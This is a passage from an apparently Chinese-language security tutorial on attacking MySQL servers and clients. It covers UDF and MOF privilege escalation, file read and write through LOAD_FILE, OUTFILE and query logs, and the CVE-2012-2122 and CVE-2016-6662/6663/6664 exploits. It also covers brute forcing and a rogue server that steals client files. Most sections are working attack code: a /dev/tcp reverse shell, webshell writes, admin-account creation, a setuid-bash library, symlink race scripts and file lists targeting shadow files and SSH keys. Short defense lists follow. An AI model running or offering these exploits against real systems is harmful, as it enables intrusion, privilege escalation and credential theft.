</code></pre></div></div>

<p><strong>防御要点</strong>：</p>
<ul>
  <li>所有用户输入必须使用参数化查询/预编译语句</li>
  <li>对输入进行白名单校验</li>
  <li>使用WAF作为辅助防御层</li>
  <li>数据库账号遵循最小权限原则，禁止应用账号拥有 <code class="language-plaintext highlighter-rouge">FILE</code>、<code class="language-plaintext highlighter-rouge">SUPER</code> 等高危权限</li>
</ul>

<hr />

<h2 id="二udf提权">二、UDF提权</h2>

<h3 id="21-什么是udf">2.1 什么是UDF</h3>

<p>UDF（User Defined Function）是MySQL提供的用户自定义函数机制，允许通过加载动态链接库（<code class="language-plaintext highlighter-rouge">.so</code> / <code class="language-plaintext highlighter-rouge">.dll</code>）来扩展MySQL的功能。攻击者可以利用该机制加载恶意动态库，从而在数据库服务器上执行系统命令。</p>

<h3 id="22-利用条件">2.2 利用条件</h3>

<ul>
  <li>已获取MySQL的高权限账号（如root）</li>
  <li><code class="language-plaintext highlighter-rouge">secure_file_priv</code> 为空或指向可写目录</li>
  <li>拥有对插件目录（<code class="language-plaintext highlighter-rouge">plugin_dir</code>）的写权限</li>
  <li>MySQL服务以较高系统权限运行（如root/SYSTEM）</li>
</ul>

<h3 id="23-利用过程">2.3 利用过程</h3>

<p><strong>第一步：查看关键变量</strong></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 查看插件目录位置</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'plugin_dir'</span><span class="p">;</span>
<span class="c1">-- 通常为 /usr/lib/mysql/plugin/ 或 C:\MySQL\lib\plugin\</span>

<span class="c1">-- 查看secure_file_priv配置</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'secure_file_priv'</span><span class="p">;</span>

<span class="c1">-- 查看系统架构</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'%compile%'</span><span class="p">;</span>

<span class="c1">-- 查看操作系统</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'version_compile_os'</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>第二步：写入恶意动态库</strong></p>

<p>将UDF动态库文件以十六进制形式写入插件目录。sqlmap和Metasploit中都自带了UDF库文件。</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 方式一：通过SELECT INTO DUMPFILE写入（需要secure_file_priv允许）</span>
<span class="k">SELECT</span> <span class="n">unhex</span><span class="p">(</span><span class="s1">'7F454C46...'</span><span class="p">)</span> <span class="k">INTO</span> <span class="n">DUMPFILE</span> <span class="s1">'/usr/lib/mysql/plugin/udf_sys_exec.so'</span><span class="p">;</span>

<span class="c1">-- 方式二：通过创建表中转</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">temp_udf</span><span class="p">(</span><span class="k">data</span> <span class="nb">LONGBLOB</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">temp_udf</span> <span class="k">VALUES</span><span class="p">(</span><span class="n">unhex</span><span class="p">(</span><span class="s1">'7F454C46...'</span><span class="p">));</span>
<span class="k">SELECT</span> <span class="k">data</span> <span class="k">FROM</span> <span class="n">temp_udf</span> <span class="k">INTO</span> <span class="n">DUMPFILE</span> <span class="s1">'/usr/lib/mysql/plugin/udf_sys_exec.so'</span><span class="p">;</span>
<span class="k">DROP</span> <span class="k">TABLE</span> <span class="n">temp_udf</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>第三步：创建自定义函数并执行命令</strong></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 创建函数（Linux）</span>
<span class="k">CREATE</span> <span class="k">FUNCTION</span> <span class="n">sys_exec</span> <span class="k">RETURNS</span> <span class="nb">INT</span> <span class="n">SONAME</span> <span class="s1">'udf_sys_exec.so'</span><span class="p">;</span>

<span class="c1">-- 创建函数（Windows）</span>
<span class="k">CREATE</span> <span class="k">FUNCTION</span> <span class="n">sys_exec</span> <span class="k">RETURNS</span> <span class="nb">INT</span> <span class="n">SONAME</span> <span class="s1">'udf_sys_exec.dll'</span><span class="p">;</span>

<span class="c1">-- 执行系统命令</span>
<span class="k">SELECT</span> <span class="n">sys_exec</span><span class="p">(</span><span class="s1">'whoami'</span><span class="p">);</span>
<span class="k">SELECT</span> <span class="n">sys_exec</span><span class="p">(</span><span class="s1">'id'</span><span class="p">);</span>

<span class="c1">-- 反弹Shell</span>
<span class="k">SELECT</span> <span class="n">sys_exec</span><span class="p">(</span><span class="s1">'bash -c "bash -i &gt;&amp; /dev/tcp/10.10.10.10/4444 0&gt;&amp;1"'</span><span class="p">);</span>

<span class="c1">-- 添加系统用户（Windows）</span>
<span class="k">SELECT</span> <span class="n">sys_exec</span><span class="p">(</span><span class="s1">'net user hacker P@ssw0rd /add'</span><span class="p">);</span>
<span class="k">SELECT</span> <span class="n">sys_exec</span><span class="p">(</span><span class="s1">'net localgroup administrators hacker /add'</span><span class="p">);</span>
</code></pre></div></div>

<p><strong>第四步：清除痕迹</strong></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 删除自定义函数</span>
<span class="k">DROP</span> <span class="k">FUNCTION</span> <span class="n">sys_exec</span><span class="p">;</span>

<span class="c1">-- 查看已加载的UDF</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="n">func</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="24-udf提权防御">2.4 UDF提权防御</h3>

<ul>
  <li><code class="language-plaintext highlighter-rouge">secure_file_priv</code> 设置为指定目录或 <code class="language-plaintext highlighter-rouge">NULL</code>（完全禁止文件操作）</li>
  <li>插件目录权限设为仅MySQL进程可读，禁止写入</li>
  <li>MySQL服务以低权限用户运行，不要用root/SYSTEM</li>
  <li>定期审计 <code class="language-plaintext highlighter-rouge">mysql.func</code> 表，检查是否有异常的自定义函数</li>
</ul>

<hr />

<h2 id="三mof提权️-历史遗留技术">三、MOF提权（⚠️ 历史遗留技术）</h2>

<blockquote>
  <p><strong>适用性说明</strong>：MOF提权是 Windows 2000/XP/2003 时代的技术。从 <strong>Windows Server 2008 / Vista</strong> 开始，Microsoft 已移除 WMI MOF 自动编译执行机制，此攻击手法在较新 Windows 系统上不再有效。保留此节仅供历史参考。</p>
</blockquote>

<p>MOF（Managed Object Format）是Windows WMI使用的一种文件格式。旧版Windows会自动编译执行 <code class="language-plaintext highlighter-rouge">C:\Windows\System32\wbem\mof\</code> 目录下的 <code class="language-plaintext highlighter-rouge">.mof</code> 文件，攻击者可借此实现代码执行。</p>

<p><strong>利用条件</strong>（仅限 Windows 2000/XP/2003）：</p>
<ul>
  <li>已获取MySQL高权限账号</li>
  <li>MySQL以SYSTEM权限运行</li>
  <li><code class="language-plaintext highlighter-rouge">secure_file_priv</code> 允许写入目标路径</li>
</ul>

<h3 id="33-利用过程">3.3 利用过程</h3>

<p><strong>第一步：构造MOF文件</strong></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_LocalTime\" AND TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker P@ssw0rd123 /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
</code></pre></div></div>

<p><strong>第二步：通过MySQL写入MOF文件</strong></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">load_file</span><span class="p">(</span><span class="s1">'C:/evil.mof'</span><span class="p">)</span> <span class="k">INTO</span> <span class="n">DUMPFILE</span> <span class="s1">'C:/Windows/System32/wbem/mof/evil.mof'</span><span class="p">;</span>
</code></pre></div></div>

<p>或者直接从十六进制写入：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">unhex</span><span class="p">(</span><span class="s1">'23707261676D61...'</span><span class="p">)</span> <span class="k">INTO</span> <span class="n">DUMPFILE</span> <span class="s1">'C:/Windows/System32/wbem/mof/evil.mof'</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>第三步：等待系统自动执行</strong></p>

<p>Windows WMI服务会自动监控mof目录，发现新文件后自动编译执行，攻击者添加的用户就会被创建。</p>

<h3 id="34-mof提权防御">3.4 MOF提权防御</h3>

<ul>
  <li>升级操作系统，Windows Server 2008 R2及以上版本已移除该自动执行机制</li>
  <li>MySQL服务不要以SYSTEM权限运行</li>
  <li>限制 <code class="language-plaintext highlighter-rouge">secure_file_priv</code>，禁止向系统目录写入文件</li>
  <li>监控 <code class="language-plaintext highlighter-rouge">C:\Windows\System32\wbem\mof\</code> 目录的文件变动</li>
</ul>

<hr />

<h2 id="四任意文件读写">四、任意文件读写</h2>

<h3 id="41-任意文件读取load_file">4.1 任意文件读取（LOAD_FILE）</h3>

<p>MySQL的 <code class="language-plaintext highlighter-rouge">LOAD_FILE()</code> 函数可以读取服务器上的本地文件。</p>

<p><strong>利用条件</strong>：</p>
<ul>
  <li>拥有 <code class="language-plaintext highlighter-rouge">FILE</code> 权限</li>
  <li><code class="language-plaintext highlighter-rouge">secure_file_priv</code> 允许或为空</li>
  <li>知道文件的绝对路径</li>
  <li>文件大小小于 <code class="language-plaintext highlighter-rouge">max_allowed_packet</code></li>
</ul>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 读取系统敏感文件</span>
<span class="k">SELECT</span> <span class="n">LOAD_FILE</span><span class="p">(</span><span class="s1">'/etc/passwd'</span><span class="p">);</span>
<span class="k">SELECT</span> <span class="n">LOAD_FILE</span><span class="p">(</span><span class="s1">'/etc/shadow'</span><span class="p">);</span>
<span class="k">SELECT</span> <span class="n">LOAD_FILE</span><span class="p">(</span><span class="s1">'/etc/my.cnf'</span><span class="p">);</span>

<span class="c1">-- Windows</span>
<span class="k">SELECT</span> <span class="n">LOAD_FILE</span><span class="p">(</span><span class="s1">'C:/Windows/System32/drivers/etc/hosts'</span><span class="p">);</span>
<span class="k">SELECT</span> <span class="n">LOAD_FILE</span><span class="p">(</span><span class="s1">'C:/phpstudy/www/config.php'</span><span class="p">);</span>

<span class="c1">-- 读取网站配置文件获取数据库密码</span>
<span class="k">SELECT</span> <span class="n">LOAD_FILE</span><span class="p">(</span><span class="s1">'/var/www/html/config/database.php'</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="42-任意文件写入into-outfile--into-dumpfile">4.2 任意文件写入（INTO OUTFILE / INTO DUMPFILE）</h3>

<p>通过SQL语句将内容写入服务器文件系统，常用于写入WebShell。</p>

<p><strong>利用条件</strong>：</p>
<ul>
  <li>拥有 <code class="language-plaintext highlighter-rouge">FILE</code> 权限</li>
  <li><code class="language-plaintext highlighter-rouge">secure_file_priv</code> 允许或为空</li>
  <li>知道Web目录的绝对路径</li>
  <li>目标目录有写权限</li>
</ul>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 写入一句话木马（PHP）</span>
<span class="k">SELECT</span> <span class="s1">'&lt;?php @eval($_POST["cmd"]); ?&gt;'</span> <span class="k">INTO</span> <span class="n">OUTFILE</span> <span class="s1">'/var/www/html/shell.php'</span><span class="p">;</span>

<span class="c1">-- 写入JSP木马</span>
<span class="k">SELECT</span> <span class="s1">'&lt;% Runtime.getRuntime().exec(request.getParameter("cmd")); %&gt;'</span> <span class="k">INTO</span> <span class="n">OUTFILE</span> <span class="s1">'/usr/local/tomcat/webapps/ROOT/cmd.jsp'</span><span class="p">;</span>

<span class="c1">-- INTO DUMPFILE 不会在末尾追加换行，适合写入二进制文件</span>
<span class="k">SELECT</span> <span class="n">unhex</span><span class="p">(</span><span class="s1">'4D5A...'</span><span class="p">)</span> <span class="k">INTO</span> <span class="n">DUMPFILE</span> <span class="s1">'/tmp/evil.exe'</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>OUTFILE与DUMPFILE的区别</strong>：</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">INTO OUTFILE</code>：会在行末添加换行符，列之间添加制表符，适合文本文件</li>
  <li><code class="language-plaintext highlighter-rouge">INTO DUMPFILE</code>：原样写入，不添加任何额外字符，适合二进制文件</li>
</ul>

<h3 id="43-通过日志写入webshell">4.3 通过日志写入WebShell</h3>

<p>当 <code class="language-plaintext highlighter-rouge">secure_file_priv</code> 限制了 <code class="language-plaintext highlighter-rouge">INTO OUTFILE</code> 时，可以通过修改MySQL日志路径来写入WebShell。</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 通过general_log写入WebShell</span>
<span class="k">SET</span> <span class="k">global</span> <span class="n">general_log</span> <span class="o">=</span> <span class="s1">'ON'</span><span class="p">;</span>
<span class="k">SET</span> <span class="k">global</span> <span class="n">general_log_file</span> <span class="o">=</span> <span class="s1">'/var/www/html/shell.php'</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="s1">'&lt;?php @eval($_POST["cmd"]); ?&gt;'</span><span class="p">;</span>
<span class="k">SET</span> <span class="k">global</span> <span class="n">general_log</span> <span class="o">=</span> <span class="s1">'OFF'</span><span class="p">;</span>

<span class="c1">-- 通过slow_query_log写入WebShell</span>
<span class="k">SET</span> <span class="k">global</span> <span class="n">slow_query_log</span> <span class="o">=</span> <span class="s1">'ON'</span><span class="p">;</span>
<span class="k">SET</span> <span class="k">global</span> <span class="n">slow_query_log_file</span> <span class="o">=</span> <span class="s1">'/var/www/html/slow.php'</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="s1">'&lt;?php @eval($_POST["cmd"]); ?&gt;'</span> <span class="k">OR</span> <span class="n">SLEEP</span><span class="p">(</span><span class="mi">11</span><span class="p">);</span>
<span class="k">SET</span> <span class="k">global</span> <span class="n">slow_query_log</span> <span class="o">=</span> <span class="s1">'OFF'</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="44-文件读写防御">4.4 文件读写防御</h3>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># my.cnf 中严格限制文件操作
</span><span class="nn">[mysqld]</span>
<span class="py">secure_file_priv</span> <span class="p">=</span> <span class="s">/tmp/mysql-files/   # 限制到指定目录</span>
<span class="c"># 或者
</span><span class="py">secure_file_priv</span> <span class="p">=</span> <span class="s">NULL                 # 完全禁止文件操作（推荐）</span>
</code></pre></div></div>

<ul>
  <li>应用程序数据库账号不要授予 <code class="language-plaintext highlighter-rouge">FILE</code> 权限</li>
  <li>Web目录禁止MySQL用户写入</li>
  <li>定期检查 <code class="language-plaintext highlighter-rouge">general_log_file</code> 和 <code class="language-plaintext highlighter-rouge">slow_query_log_file</code> 是否被篡改</li>
</ul>

<hr />

<h2 id="五mysql并发条件竞争导致空口令登录漏洞cve-2012-2122">五、MySQL并发条件竞争导致空口令登录漏洞（CVE-2012-2122）</h2>

<h3 id="51-漏洞原理">5.1 漏洞原理</h3>

<p>这是MySQL/MariaDB的一个经典认证绕过漏洞。在特定版本和特定编译条件下，MySQL在验证密码时使用 <code class="language-plaintext highlighter-rouge">memcmp()</code> 函数比较密码哈希值。由于某些平台（如使用SSE优化的Linux glibc）上 <code class="language-plaintext highlighter-rouge">memcmp()</code> 的返回值可能超出 <code class="language-plaintext highlighter-rouge">[-128, 127]</code> 的范围，当该值被强制转换为 <code class="language-plaintext highlighter-rouge">my_bool</code>（实际是 <code class="language-plaintext highlighter-rouge">char</code> 类型）时，可能发生截断，导致非零返回值被截断为零，从而绕过认证。</p>

<p>简单来说：<strong>每次用错误密码登录，都有大约 1/256 的概率认证成功。</strong></p>

<h3 id="52-受影响版本">5.2 受影响版本</h3>

<ul>
  <li>MySQL 5.1.x（5.1.63之前）</li>
  <li>MySQL 5.5.x（5.5.25之前）</li>
  <li>MySQL 5.6.x（5.6.7之前）</li>
  <li>MariaDB 5.1.x（5.1.62之前）</li>
  <li>MariaDB 5.2.x（5.2.12之前）</li>
  <li>MariaDB 5.3.x（5.3.6之前）</li>
  <li>MariaDB 5.5.x（5.5.23之前）</li>
</ul>

<h3 id="53-利用方式">5.3 利用方式</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 一行命令暴力尝试，利用概率绕过（约尝试300次即可成功）</span>
<span class="k">for </span>i <span class="k">in</span> <span class="si">$(</span><span class="nb">seq </span>1 1000<span class="si">)</span><span class="p">;</span> <span class="k">do </span>mysql <span class="nt">-u</span> root <span class="nt">--password</span><span class="o">=</span>wrong <span class="nt">-h</span> target_ip 2&gt;/dev/null <span class="o">&amp;&amp;</span> <span class="nb">break</span><span class="p">;</span> <span class="k">done</span>

<span class="c"># 使用Python脚本利用</span>
python3 <span class="nt">-c</span> <span class="s2">"
import subprocess
for i in range(1000):
    ret = subprocess.call(['mysql', '-u', 'root', '--password=wrong', '-h', 'target_ip', '-e', 'SELECT 1'], 
                          stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    if ret == 0:
        print(f'Success after {i+1} attempts')
        break
"</span>
</code></pre></div></div>

<p><strong>Metasploit利用</strong>：</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS target_ip
run
</code></pre></div></div>

<h3 id="54-修复方案">5.4 修复方案</h3>

<ul>
  <li>升级MySQL到5.1.63、5.5.25、5.6.7及以上版本</li>
  <li>升级MariaDB到对应修复版本</li>
  <li>限制MySQL服务仅监听本地或内网地址</li>
  <li>使用防火墙限制MySQL端口的访问来源</li>
</ul>

<hr />

<h2 id="六配置文件注入与权限提升cve-2016-666266636664">六、配置文件注入与权限提升（CVE-2016-6662/6663/6664）</h2>

<h3 id="61-cve-2016-6662配置文件注入导致rce">6.1 CVE-2016-6662：配置文件注入导致RCE</h3>

<p>这是2016年发现的一个严重漏洞，允许攻击者通过注入恶意配置到MySQL配置文件（my.cnf）来实现远程代码执行。</p>

<p><strong>漏洞原理</strong>：
攻击者通过SQL注入或已有的MySQL账号，利用日志功能将恶意配置写入my.cnf，然后在MySQL重启时加载恶意库文件。</p>

<p><strong>利用条件</strong>：</p>
<ul>
  <li>拥有MySQL账号（或通过SQL注入）</li>
  <li>拥有FILE权限或能够修改日志设置</li>
  <li>能够触发MySQL重启</li>
</ul>

<p><strong>攻击步骤</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 第一步：通过日志功能写入恶意配置</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">general_log_file</span> <span class="o">=</span> <span class="s1">'/etc/mysql/my.cnf'</span><span class="p">;</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">general_log</span> <span class="o">=</span> <span class="k">ON</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="s1">'
[mysqld]
malloc_lib=/tmp/mysql_exploit.so
'</span><span class="p">;</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">general_log</span> <span class="o">=</span> <span class="k">OFF</span><span class="p">;</span>

<span class="c1">-- 第二步：将恶意动态库上传到服务器</span>
<span class="c1">-- 通过其他漏洞（如文件上传）将恶意.so文件放到/tmp/</span>

<span class="c1">-- 第三步：等待或触发MySQL重启</span>
<span class="c1">-- MySQL重启时会加载恶意库，执行任意代码</span>
</code></pre></div></div>

<p><strong>受影响版本</strong>：</p>
<ul>
  <li>MySQL 5.7.x &lt; 5.7.15</li>
  <li>MySQL 5.6.x &lt; 5.6.33</li>
  <li>MySQL 5.5.x &lt; 5.5.52</li>
  <li>MariaDB 10.1.x &lt; 10.1.18</li>
  <li>MariaDB 10.0.x &lt; 10.0.28</li>
  <li>MariaDB 5.5.x &lt; 5.5.52</li>
  <li>Percona Server 5.7.x &lt; 5.7.14-8</li>
  <li>Percona Server 5.6.x &lt; 5.6.32-78.1</li>
  <li>Percona Server 5.5.x &lt; 5.5.51-38.2</li>
</ul>

<h3 id="62-cve-2016-6663条件竞争导致权限提升">6.2 CVE-2016-6663：条件竞争导致权限提升</h3>

<p>这是一个本地权限提升漏洞，允许低权限的MySQL用户通过条件竞争提升到mysql系统用户权限。</p>

<p><strong>漏洞原理</strong>：
MySQL在创建表文件时存在条件竞争，攻击者可以在文件创建和权限设置之间的时间窗口内替换文件为符号链接。</p>

<p><strong>利用方式</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="c"># 利用脚本示例</span>

<span class="c"># 在MySQL中创建表，同时监控文件创建</span>
<span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do
    if</span> <span class="o">[</span> <span class="nt">-f</span> <span class="s2">"/var/lib/mysql/testdb/exploit.MYD"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
        </span><span class="nb">rm</span> <span class="nt">-f</span> /var/lib/mysql/testdb/exploit.MYD
        <span class="nb">ln</span> <span class="nt">-s</span> /etc/shadow /var/lib/mysql/testdb/exploit.MYD
        <span class="nb">break
    </span><span class="k">fi
done</span> &amp;

<span class="c"># 在MySQL中执行</span>
mysql <span class="nt">-u</span> lowpriv <span class="nt">-p</span> <span class="nt">-e</span> <span class="s2">"
USE testdb;
CREATE TABLE exploit (data TEXT);
INSERT INTO exploit VALUES ('hacked');
"</span>
</code></pre></div></div>

<p><strong>受影响版本</strong>：</p>
<ul>
  <li>MySQL 5.5.x &lt; 5.5.53</li>
  <li>MySQL 5.6.x &lt; 5.6.34</li>
  <li>MySQL 5.7.x &lt; 5.7.16</li>
  <li>MariaDB 5.5.x &lt; 5.5.53</li>
  <li>MariaDB 10.0.x &lt; 10.0.29</li>
  <li>MariaDB 10.1.x &lt; 10.1.20</li>
  <li>Percona Server 5.5.x &lt; 5.5.51-38.2</li>
  <li>Percona Server 5.6.x &lt; 5.6.32-78.1</li>
  <li>Percona Server 5.7.x &lt; 5.7.14-8</li>
</ul>

<h3 id="63-cve-2016-6664错误日志提权到root">6.3 CVE-2016-6664：错误日志提权到root</h3>

<p>这个漏洞允许mysql系统用户通过操纵错误日志文件提升到root权限。</p>

<p><strong>漏洞原理</strong>：
mysqld_safe脚本在处理错误日志时存在缺陷，攻击者可以将错误日志文件替换为符号链接，指向任意文件（如/etc/ld.so.preload），从而在MySQL重启时以root权限加载恶意库。</p>

<p><strong>利用步骤</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 第一步：创建恶意动态库</span>
<span class="nb">cat</span> <span class="o">&gt;</span> /tmp/exploit.c <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;

void _init() {
    system("chmod u+s /bin/bash");
    unlink("/etc/ld.so.preload");
}
</span><span class="no">EOF

</span>gcc <span class="nt">-shared</span> <span class="nt">-fPIC</span> <span class="nt">-o</span> /tmp/exploit.so /tmp/exploit.c

<span class="c"># 第二步：替换错误日志为符号链接</span>
<span class="nb">rm</span> <span class="nt">-f</span> /var/log/mysql/error.log
<span class="nb">ln</span> <span class="nt">-s</span> /etc/ld.so.preload /var/log/mysql/error.log

<span class="c"># 第三步：触发MySQL重启</span>
<span class="c"># mysqld_safe（以root运行）在启动时向error.log写入日志信息</span>
<span class="c"># 由于 error.log → /etc/ld.so.preload（符号链接）</span>
<span class="c"># 启动日志内容会被写入 ld.so.preload</span>
<span class="c"># 结合 CVE-2016-6662 注入的恶意配置，重启后会以root权限加载恶意库</span>
service mysql restart

<span class="c"># 第四步：获取root shell</span>
/bin/bash <span class="nt">-p</span>
</code></pre></div></div>

<p><strong>受影响版本</strong>：</p>
<ul>
  <li>MySQL 5.5.x &lt; 5.5.53</li>
  <li>MySQL 5.6.x &lt; 5.6.34</li>
  <li>MySQL 5.7.x &lt; 5.7.16</li>
  <li>MariaDB 5.5.x &lt; 5.5.53</li>
  <li>MariaDB 10.0.x &lt; 10.0.29</li>
  <li>MariaDB 10.1.x &lt; 10.1.20</li>
  <li>Percona Server（所有版本）</li>
</ul>

<h3 id="64-防御措施">6.4 防御措施</h3>

<p><strong>针对CVE-2016-6662</strong>：</p>
<ul>
  <li>升级到修复版本</li>
  <li>限制FILE权限</li>
  <li>配置文件权限设为只读（chmod 644 /etc/mysql/my.cnf）</li>
  <li>使用AppArmor/SELinux限制MySQL进程</li>
</ul>

<p><strong>针对CVE-2016-6663</strong>：</p>
<ul>
  <li>升级到修复版本</li>
  <li>数据目录权限严格控制（chmod 700 /var/lib/mysql）</li>
  <li>使用独立的文件系统挂载数据目录，禁用符号链接（nosymfollow）</li>
</ul>

<p><strong>针对CVE-2016-6664</strong>：</p>
<ul>
  <li>升级到修复版本</li>
  <li>日志目录权限严格控制</li>
  <li>使用systemd管理MySQL而非mysqld_safe</li>
  <li>监控关键文件的符号链接变化</li>
</ul>

<hr />

<h2 id="七其他攻击面与cve漏洞">七、其他攻击面与CVE漏洞</h2>

<h4 id="-认证与初始访问">🔐 认证与初始访问</h4>

<h3 id="71-弱口令爆破">7.1 弱口令爆破</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 使用hydra爆破MySQL</span>
hydra <span class="nt">-l</span> root <span class="nt">-P</span> /usr/share/wordlists/rockyou.txt target_ip mysql

<span class="c"># 使用medusa爆破</span>
medusa <span class="nt">-h</span> target_ip <span class="nt">-u</span> root <span class="nt">-P</span> passwords.txt <span class="nt">-M</span> mysql

<span class="c"># nmap脚本爆破</span>
nmap <span class="nt">--script</span><span class="o">=</span>mysql-brute <span class="nt">-p</span> 3306 target_ip
</code></pre></div></div>

<h3 id="72-mysql客户端任意文件读取恶意服务端--fake-mysql-server">7.2 MySQL客户端任意文件读取（恶意服务端 / Fake MySQL Server）</h3>

<p>这是一个针对MySQL客户端的攻击手法。MySQL协议允许服务端在认证阶段要求客户端发送本地文件（<code class="language-plaintext highlighter-rouge">LOAD DATA LOCAL INFILE</code>）。攻击者可以搭建恶意MySQL服务端，当受害者客户端连接时，窃取客户端主机上的任意文件。</p>

<p><strong>攻击原理</strong>：
MySQL协议在客户端执行 <code class="language-plaintext highlighter-rouge">LOAD DATA LOCAL INFILE</code> 时，服务端可以指定要读取的文件路径。恶意服务端可以在握手阶段就要求客户端发送敏感文件。</p>

<p><strong>攻击场景</strong>：</p>
<ol>
  <li>攻击者搭建恶意MySQL服务器</li>
  <li>诱导受害者连接（如通过钓鱼、SSRF、配置劫持等）</li>
  <li>客户端连接时，恶意服务端要求读取敏感文件</li>
  <li>客户端自动发送文件内容给服务端</li>
</ol>

<p><strong>利用工具</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Rogue-MySql-Server（最常用的工具）</span>
<span class="c"># https://github.com/allyshka/Rogue-MySql-Server</span>
git clone https://github.com/allyshka/Rogue-MySql-Server.git
<span class="nb">cd </span>Rogue-MySql-Server

<span class="c"># 修改配置文件，指定要读取的文件</span>
vim config.json
</code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"fileList"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="s2">"/etc/passwd"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"/etc/shadow"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"/home/user/.ssh/id_rsa"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"/var/www/html/config.php"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"C:</span><span class="se">\\</span><span class="s2">Windows</span><span class="se">\\</span><span class="s2">win.ini"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"C:</span><span class="se">\\</span><span class="s2">Users</span><span class="se">\\</span><span class="s2">Administrator</span><span class="se">\\</span><span class="s2">Desktop</span><span class="se">\\</span><span class="s2">passwords.txt"</span><span class="w">
    </span><span class="p">],</span><span class="w">
    </span><span class="nl">"port"</span><span class="p">:</span><span class="w"> </span><span class="mi">3306</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 启动恶意服务器</span>
python rogue_mysql_server.py
</code></pre></div></div>

<p><strong>攻击示例</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 受害者执行以下命令连接</span>
mysql <span class="nt">-h</span> attacker_ip <span class="nt">-u</span> root <span class="nt">-p</span>

<span class="c"># 或者通过应用程序连接</span>
<span class="c"># 恶意服务端会自动读取配置的文件列表</span>
</code></pre></div></div>

<p><strong>高级利用场景</strong>：</p>

<ol>
  <li><strong>SSRF配合利用</strong>：
    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>通过SSRF漏洞让服务器连接恶意MySQL
例如：http://vulnerable.com/api?db_host=attacker_ip:3306
可以读取服务器上的敏感文件
</code></pre></div>    </div>
  </li>
  <li><strong>供应链攻击</strong>：
